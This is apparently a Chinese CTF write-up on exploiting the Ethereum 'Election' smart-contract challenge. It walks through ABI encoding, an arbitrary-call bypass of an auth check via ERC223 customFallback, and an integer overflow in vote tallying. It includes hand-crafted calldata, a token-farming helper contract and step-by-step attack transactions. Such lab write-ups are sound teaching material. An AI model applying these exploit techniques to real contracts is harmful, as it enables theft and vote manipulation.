合约Function Selector and Argument Encoding
wiki上的知识还是容易理解的,简单来讲就是在Ethereum中通过ABI(二进制接口)可以知道函数的信息,包括参数,函数签名等等。而ABI编码有着规定好的编码方式,wiki主要讲的就是如何进行ABI编码。
Election
参考博客 因为初学合约,这个例题看了挺久。
pragma solidity =0.6.12;
pragma experimental ABIEncoderV2;
interface IERC223 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function transfer(address to, uint value, bytes memory data) external returns (bool);
function transfer(address to, uint value, bytes memory data, string memory customFallback) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract ERC223 is IERC223 {
string public override name;
string public override symbol;
uint8 public override decimals;
uint public override totalSupply;
mapping (address => uint) private _balances;
string private constant _tokenFallback = "tokenFallback(address,uint256,bytes)";
constructor (string memory _name, string memory _symbol) public {
name = _name;
symbol = _symbol;
decimals = 18;
}
function balanceOf(address account) public view override returns (uint) {
return _balances[account];
}
function transfer(address to, uint value) public override returns (bool) {
return _transfer(msg.sender, to, value, "", _tokenFallback);
}
function transfer(address to, uint value, bytes memory data) public override returns (bool) {
return _transfer(msg.sender, to, value, data, _tokenFallback);
}
function transfer(address to, uint value, bytes memory data, string memory customFallback) public override returns (bool) {
return _transfer(msg.sender, to, value, data, customFallback);
}
/* Helper functions */
function _transfer(address from, address to, uint value, bytes memory data, string memory customFallback) internal returns (bool) {
require(from != address(0), "ERC223: transfer from the zero address");
require(to != address(0), "ERC223: transfer to the zero address");
require(_balances[from] >= value, "ERC223: transfer amount exceeds balance");
_balances[from] -= value;
_balances[to] += value;
if (_isContract(to)) {
(bool success,) = to.call{value: 0}(
abi.encodeWithSignature(customFallback, msg.sender, value, data)
);
assert(success);
}
emit Transfer(msg.sender, to, value, data);
return true;
}
function _mint(address to, uint value) internal {
require(to != address(0), "ERC223: mint to the zero address");
totalSupply += value;
_balances[to] += value;
emit Transfer(address(0), to, value, "");
}
function _isContract(address addr) internal view returns (bool) {
uint length;
assembly {
length := extcodesize(addr)
}
return (length > 0);
}
}
contract Election is ERC223 {
struct Proposal {
string name;
string policies;
bool valid;
}
struct Ballot {
address candidate;
uint votes;
}
uint randomNumber = 0;
bool public sendFlag = false; //6
address public owner; //6
uint public stage; //7
address[] public candidates; //8
bytes32[] public voteHashes; //9
mapping(address => Proposal) public proposals; //10
mapping(address => uint) public voteCount; //11
mapping(address => bool) public voted;
mapping(address => bool) public revealed;
event Propose(address, Proposal);
event Vote(bytes32);
event Reveal(uint, Ballot[]);
event SendFlag(address);
constructor() public ERC223("Election", "ELC") {
owner = msg.sender;
_setup();
}
modifier auth {
require(msg.sender == address(this) || msg.sender == owner, "Election: not authorized");
_;
}
function propose(address candidate, Proposal memory proposal) public auth returns (uint) {
require(stage == 0, "Election: stage incorrect");
require(!proposals[candidate].valid, "Election: candidate already proposed");
candidates.push(candidate);
proposals[candidate] = proposal;
emit Propose(candidate, proposal);
return candidates.length - 1;
}
function vote(bytes32 voteHash) public returns (uint) {
require(stage == 1, "Election: stage incorrect");
require(!voted[msg.sender], "Election: already voted");
voted[msg.sender] = true;
voteHashes.push(voteHash);
emit Vote(voteHash);
return voteHashes.length - 1;
}
function reveal(uint voteHashID, Ballot[] memory ballots) public {
require(stage == 2, "Election: stage incorrect");
require(!revealed[msg.sender], "Election: already revealed");
require(voteHashes[voteHashID] == keccak256(abi.encode(ballots)), "Election: hash incorrect");
revealed[msg.sender] = true;
uint totalVotes = 0;
for (uint i = 0; i < ballots.length; i++) {
address candidate = ballots[i].candidate;
uint votes = ballots[i].votes;
totalVotes += votes;
voteCount[candidate] += votes;
}
require(totalVotes <= balanceOf(msg.sender), "Election: insufficient tokens");
emit Reveal(voteHashID, ballots);
}
function getWinner() public view returns (address) {
require(stage == 3, "Election: stage incorrect");
uint maxVotes = 0;
address winner = address(0);
for (uint i = 0; i < candidates.length; i++) {
if (voteCount[candidates[i]] > maxVotes) {
maxVotes = voteCount[candidates[i]];
winner = candidates[i];
}
}
return winner;
}
function giveMeMoney() public {
require(balanceOf(msg.sender) == 0, "Election: you're too greedy");
_mint(msg.sender, 1);
}
function giveMeFlag() public {
require(msg.sender == getWinner(), "Election: you're not the winner");
require(proposals[msg.sender].valid, "Election: no proposal from candidate");
if (_stringCompare(proposals[msg.sender].policies, "Give me the flag, please")) {
sendFlag = true;
emit SendFlag(msg.sender);
}
}
/* Helper functions */
function _setup() public auth {
address Alice = address(0x9453);
address Bob = address(0x9487);
_setStage(0);
propose(Alice, Proposal("Alice", "This is Alice", true));
propose(Bob, Proposal("Bob", "This is Bob", true));
voteCount[Alice] = uint(-0x9453);
voteCount[Bob] = uint(-0x9487);
_setStage(1);
}
function _setStage(uint _stage) public auth {
stage = _stage & 0xff;
}
function _stringCompare(string memory a, string memory b) internal pure returns (bool) {
return keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b));
}
/* custom added functions */
function testdeet(address to, uint value, bytes memory data, string memory customFallback) pure public returns (bytes memory){
return abi.encodeWithSignature(customFallback, to, value, data);
}
function properEncode(address candidate, Proposal memory proposal, address t1, address t2) pure public {
}
function ballotEncode(Ballot[] memory ballots) pure public returns (bytes32){
return keccak256(abi.encode(ballots));
}
}合约分析
合约使用的是ERC223的代币,存在一个父类和子合约。在父类中,存在_transfer接口能够任意调用函数,但是需要构造合适的ABI编码格式。
if (_isContract(to)) {
(bool success,) = to.call{value: 0}(
abi.encodeWithSignature(customFallback, msg.sender, value, data)
);
assert(success);
}关于call和delegatecall和callcode的区别如下,这个题特意用了call函数,为了能够绕过后面的auth认证,因为call函数会修改msg值为调用者,然后就能让调用者为合约本身,就能绕过auth了。
例如如下合约即可验证。
contract A {
address public temp1;
uint256 public temp2;
function three_call(address addr) public {
addr.call(bytes4(keccak256("test()"))); // 情况1
//addr.delegatecall(bytes4(keccak256("test()"))); // 情况2
//addr.callcode(bytes4(keccak256("test()"))); // 情况3
}
}
contract B {
address public temp1;
uint256 public temp2;
function test() public {
temp1 = msg.sender;
temp2 = 100;
}
function test2() public returns (uint256){
return uint(-0x9453);
}
}子合约实现了一个投票系统,主要包含propose,vote,reveal三个函数,stage变量用于调用不同函数时设置为不同的值。合约定义了两个结构体。
// 用于存放candidate竞争者的信息
struct Proposal {
string name;
string policies;
bool valid;
}
//用于存放每个candidate获得票数
struct Ballot {
address candidate;
uint votes;
}auth认证,需要调用者为合约本身,正好是call函数的用法。
modifier auth {
require(msg.sender == address(this) || msg.sender == owner, "Election: not authorized");
_;
}主要函数(propose,_setStage有auth认证)
-
propose(address candidate, Proposal memory proposal)函数用于进行投票,并且进行了auth认证。此时需要stage==0,同时Proposal结构体下的valid变量需要设置为给定的字符串。 -
vote(bytes32 voteHash)函数用于确认投票,需要stage==0。参数为经过keccak256(abi.encode(ballots))编码的Ballot[]数组的bytes32值。 -
reveal(uint voteHashID, Ballot[] memory ballots)函数用于计算每个candidate账户的总票数,需要stage==2。 -
getWinner()函数用于判断出最终获胜者,所以最终目的为让我们的账户成为winner,这样就能调用giveMeFlag()获取flag。 -
_setStage(uint _stage)用于设置stage变量,但有auth认证。
而合约在初始化的时候将stage的值设为了1,并且只有两个账户。

所以第一步需要绕过auth,这样才能调用到_setStage来设置stage变量的值,继而调用其他函数。而调用任意函数的漏洞就是上面说的父类里面的call函数。
调用不用函数的编码如下

所以当调用_setStage的时候,函数只接受一个参数,那参数的内容就是msg.sender的值所以我们要设置stage变量的内容,需要找到合约地址后缀是00 01 02 03的。利用这个网站
而当调用propose的时候,函数接受两个参数,第一个是address地址形式,第二个是Propose结构体。所以根据abi编码方式,首先直接写入address定值,然后是proposal结构体的offset 0x20*2=0x40,之后遍历结构体的参数有三个,前两个是变长类型,则name的offset为 0x20*3=0x60,policies为0x60 + 0x20*2 = 0xa0(前一个参数的长度和data内容各占0x20),最后是valid是bool类型不需要存储offset。然后开始重新遍历变长类型,先写入参数的长度,再写入参数的值。所以在调用这个函数的时候,data的值就需要进行精心构造成符合abi编码的格式。
例如如果要利用call函数调用propose函数,address地址为0x9aC4ef4fed53a395Bcb4004Cd8DffEE73CC46800,结构体中name为kkfine,policies为Give me the flag, please,valid为true,则call函数中data的内容为
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000006
6b6b66696e650000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000018
47697665206d652074686520666c61672c20706c656173650000000000000000
而前半部分则如下,所以value参数内容应该是0x40
slot0 msg.sender/candidate
slot1 offset of Proposal 0x0000000000000000000000000000000000000000000000000000000000000040
slot2 offset of name 0x0000000000000000000000000000000000000000000000000000000000000060
slot3 offset of plicies 0x00000000000000000000000000000000000000000000000000000000000000a0
或者使用题目的testdeet接口也能看出来

现在能够调用任意函数,但是还需要绕过148行totalVotes <= balanceOf(msg.sender),所以这里还存在一个integer overflow溢出漏洞。
第 145 行存在一个 integer overflow ,所以我们可以两个 ballot 投票,票数分别为 2^256-1(投给 attacker ) 和 1 (投给 Alice 或 Bob 任意一个),这样利用 145 行的 integer overflow 便可通过 148 行的限制,同时使 attacker 票数为 2^256-1 ,可通过 getWinner() 赢得选票
攻击
首先需要四个不同后缀的账户
0x9aC4ef4fed53a395Bcb4004Cd8DffEE73CC46800 00
0xD9ee07AAf7e3d5951721f7deB46802207f4dF001 01
0x89eB2cD0eC49Cf1B584d3b4bdb6453B1f16c3203 03
0x88C87F1365F793dd79c4b2A60f238C8594e9d602 02
题目合约地址
0xef31471E3004a78Ae403858BbcB27D6d1f37791C
candidate账户
0x0000000000000000000000000000000000009453Alice
0x0000000000000000000000000000000000009487Bob
0x9c5D5bE2a76503957853d9b6f81fFDE226635739攻击账户
首先需要向我们的攻击账户转64块钱,因为上面说到需要在调用propose的时候设置value为64,而在_transfer中存在限制 require(_balances[from] >= value, "ERC223: transfer amount exceeds balance");所以需要先转64元钱。
通过这个合约来让_balances[attacker_address]=64,脚本原理就是先通过giveMeMoney获取一块钱,此时就可以满足_balances[from] >= value了。之后就能在第52行通过_balances[to] += value;不断加钱。
import './Elction.sol';
contract send {
Election target = Election(0xef31471E3004a78Ae403858BbcB27D6d1f37791C);
function getmoney(uint times) public {
for (uint i=0; i<times; i++) {
target.giveMeMoney();
target.transfer(0x9c5D5bE2a76503957853d9b6f81fFDE226635739, 1, "", "");
}
}
}
第二步就是进行vote投票,进行整数溢出,准备两个 ballot,一个投给 attacker,票数为 2^256-1 ;一个投给 Alice,票数为 1。
ballotEncode([["0x9c5d5be2a76503957853d9b6f81ffde226635739","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"], ["0x0000000000000000000000000000000000009453","0x1"]])
编码结果为

查看votehashes,发现成功显示

然后需要切换到00后缀账户调用_setStage修改stage变量为0,再调用propose将 attacker 增加到 candidate。

查看 proposals 可以看到添加 attacker 为 candidate 成功

这里顺便分析一下transfer调用propose的abi编码.
Function: transfer(address _to, uint256 _value, bytes _data, string _custom_fallback) ***
MethodID: 0xf6368f8a
// transfer第一个参数msg.sender,直接写入slot
[0]: 000000000000000000000000ef31471e3004a78ae403858bbcb27d6d1f37791c
//uint256定长参数,也是直接写入内容
[1]: 0000000000000000000000000000000000000000000000000000000000000040
//第三个是变长参数bytes _data,先写入offset,函数参数有4个所以为0x20*4=0x80
[2]: 0000000000000000000000000000000000000000000000000000000000000080
//最后一个变长参数,计算其pffset:0x80 + 0x20*5(前一个变长类型的值所用槽数) + 0x20(前一个变长类型存储长度占用槽数) = 0x140
[3]: 0000000000000000000000000000000000000000000000000000000000000140
data的长度 0x20*5 = 0xa0
[4]: 00000000000000000000000000000000000000000000000000000000000000a0
//data数据值
[5]: 0000000000000000000000000000000000000000000000000000000000000001
[6]: 0000000000000000000000000000000000000000000000000000000000000006
[7]: 6b6b66696e650000000000000000000000000000000000000000000000000000
[8]: 0000000000000000000000000000000000000000000000000000000000000018
[9]: 47697665206d652074686520666c61672c20706c656173650000000000000000
//_custom_fallback边长参数的长度
[10]: 0000000000000000000000000000000000000000000000000000000000000025
//_custom_fallback的值(即为propose(address,(string,string,bool))
[11]: 70726f706f736528616464726573732c28737472696e672c737472696e672c62
[12]: 6f6f6c2929000000000000000000000000000000000000000000000000000000
然后切换到02后缀修改stage为2,进行 reveal 调用,其中 ballots 是上面已经传入的ballots (使用 attacker账户 ),调用完后查看 voteCount[attacker] 已经是 2


最后切换到03后缀账户,设值stage为3。

然后调用 giveMeFlag()即可(使用 attacker账户),不过这最后一步我不小心给自己账户设置成revealed true了,所以最后就放本地的图得了(合约地址为0x7fe5E6C8eE2EC92c5aA9912499f364540640d152)
